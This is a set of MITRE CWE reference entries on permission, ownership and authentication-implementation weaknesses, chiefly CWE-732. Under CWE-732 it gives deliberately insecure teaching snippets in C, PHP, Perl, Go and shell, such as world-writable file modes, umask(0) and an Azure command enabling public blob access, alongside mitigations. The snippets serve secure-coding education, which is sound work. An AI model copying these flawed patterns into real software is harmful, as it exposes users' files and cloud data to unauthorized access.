Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Observed Examples
ReferenceDescription
Log files opened read/write.
Log files opened read/write.
Log files opened read/write.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.946SFP Secondary Cluster: Insecure Resource Permissions
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsecure execution-assigned permissions
CERT C Secure CodingFIO06-CCreate files with appropriate access permissions
The CERT Oracle Secure Coding Standard for Java (2011)FIO01-JCreate files with appropriate access permission
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-05-27Insecure Execution-assigned Permissions

CWE-303: Incorrect Implementation of Authentication Algorithm

Weakness ID: 303
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The requirements for the product dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.
+ Extended Description
This incorrect implementation may allow authentication to be bypassed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.304Missing Critical Step in Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Conditional should have been an 'or' not an 'and'.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Logic Error
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Logic Error
2009-05-27Improper Implementation of Authentication Algorithm

CWE-708: Incorrect Ownership Assignment

Weakness ID: 708
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product assigns an owner to a resource, but the owner is outside of the intended control sphere.
+ Extended Description
This may allow the resource to be manipulated by actors outside of the intended control sphere.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.282Improper Ownership Management
CanAlsoBeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.840Business Logic Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

An attacker could read and modify data for which they do not have permissions to access directly.
+ Observed Examples
ReferenceDescription
File system sets wrong ownership and group when creating a new file.
OS installs program with bin owner/group, allowing modification.
Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation.
Backup software restores symbolic links with incorrect uid/gid.
Product changes the ownership of files that a symlink points to, instead of the symlink itself.
Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations.
+ Potential Mitigations

Phase: Policy

Periodically review the privileges and their owners.

Phase: Testing

Use automated tools to check for privilege settings.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.944SFP Secondary Cluster: Access Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This overlaps verification errors, permissions, and privileges.

A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Maintenance_Notes, Other_Notes
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-732: Incorrect Permission Assignment for Critical Resource

Weakness ID: 732
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
+ Extended Description
When a resource is given a permission setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data. For example, consider a misconfigured storage account for the cloud that can be read or written by a public or anonymous user.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.285Improper Authorization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.276Incorrect Default Permissions
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.277Insecure Inherited Permissions
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.278Insecure Preserved Inherited Permissions
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.279Incorrect Execution-Assigned Permissions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.281Improper Preservation of Permissions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.766Critical Data Element Declared Public
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1004Sensitive Cookie Without 'HttpOnly' Flag
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.276Incorrect Default Permissions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.281Improper Preservation of Permissions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

The developer might make certain assumptions about the environment in which the product operates - e.g., that the software is running on a single-user system, or the software is only accessible to trusted administrators. When the software is running in a different environment, the permissions become a problem.

InstallationThe developer may set loose permissions in order to minimize problems when the user first runs the program, then create documentation stating that permissions should be tightened. Since system administrators and users do not always read the documentation, this can result in insecure permissions being left unchanged.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Cloud Computing (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.
Integrity
Other

Technical Impact: Modify Application Data; Other

An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

(bad code)
Example Language:
#define OUTFILE "hello.out"

umask(0);
FILE *out;
/* Ignore link following (CWE-59) for brevity */

out = fopen(OUTFILE, "w");
if (out) {
fprintf(out, "hello world!\n");
fclose(out);
}

After running this program on a UNIX system, running the "ls -l" command might return the following output:

(result)
 
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

Example 2

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

(bad code)
Example Language: PHP 
function createUserDir($username){
$path = '/home/'.$username;
if(!mkdir($path)){
return false;
}
if(!chown($path,$username)){
rmdir($path);
return false;
}
return true;
}

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

Example 3

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

(bad code)
Example Language: Perl 
$fileName = "secretFile.out";

if (-e $fileName) {
chmod 0777, $fileName;
}

my $outFH;
if (! open($outFH, ">>$fileName")) {
ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

(result)
 
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

(result)
 
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

Example 4

This program creates and reads from an admin file to determine privilege information.

If the admin file doesn't exist, the program will create one. In order to create the file, the program must have write privileges to write to the file. After the file is created, the permissions need to be changed to read only.

(bad code)
Example Language: Go 
const adminFile = "/etc/admin-users"
func createAdminFileIfNotExists() error {
file, err := os.Create(adminFile)
if err != nil {
return err
}
return nil
}

func changeModeOfAdminFile() error {
fileMode := os.FileMode(0440)
if err := os.Chmod(adminFile, fileMode); err != nil {
return err
}
return nil
}

os.Create will create a file with 0666 permissions before umask if the specified file does not exist. A typical umask of 0022 would result in the file having 0644 permissions. That is, the file would have world-writable and world-readable permissions.

In this scenario, it is advised to use the more customizable method of os.OpenFile with the os.O_WRONLY and os.O_CREATE flags specifying 0640 permissions to create the admin file.

This is because on a typical system where the umask is 0022, the perm 0640 applied in os.OpenFile will result in a file of 0620 where only the owner and group can write.

Example 5

The following command recursively sets world-readable permissions for a directory and all of its children:

(bad code)
Example Language: Shell 
chmod -R ugo+r DIRNAME

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

Example 6

The following Azure command updates the settings for a storage account:

(bad code)
Example Language: Shell 
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

(good code)
Example Language: Shell 
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false

Example 7

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

(informative)
Example Language: Shell 
gsutil iam get gs://BUCKET_NAME

Suppose the command returns the following result:

(bad code)
Example Language: JSON 
{
"bindings":[{
"members":[
"projectEditor: PROJECT-ID",
"projectOwner: PROJECT-ID"
],
"role":"roles/storage.legacyBucketOwner"
},
{
"members":[
"allUsers",
"projectViewer: PROJECT-ID"
],
"role":"roles/storage.legacyBucketReader"
}
]
}

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

(good code)
Example Language: Shell 
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME
+ Observed Examples
ReferenceDescription
Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.
Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses.
Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication.
Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM.
socket created with insecure permissions
Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions.
Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands.
LDAP server stores a cleartext password in a world-readable file.
Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users.
VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials.
Driver installs its device interface with "Everyone: Write" permissions.
Driver installs a file with world-writable permissions.
Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups.
Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution.
Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session.
Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.
Security product uses "Everyone: Full Control" permissions for its configuration files.
"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity.
Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions.
+ Potential Mitigations

Phase: Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Effectiveness: Moderate

Note: This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

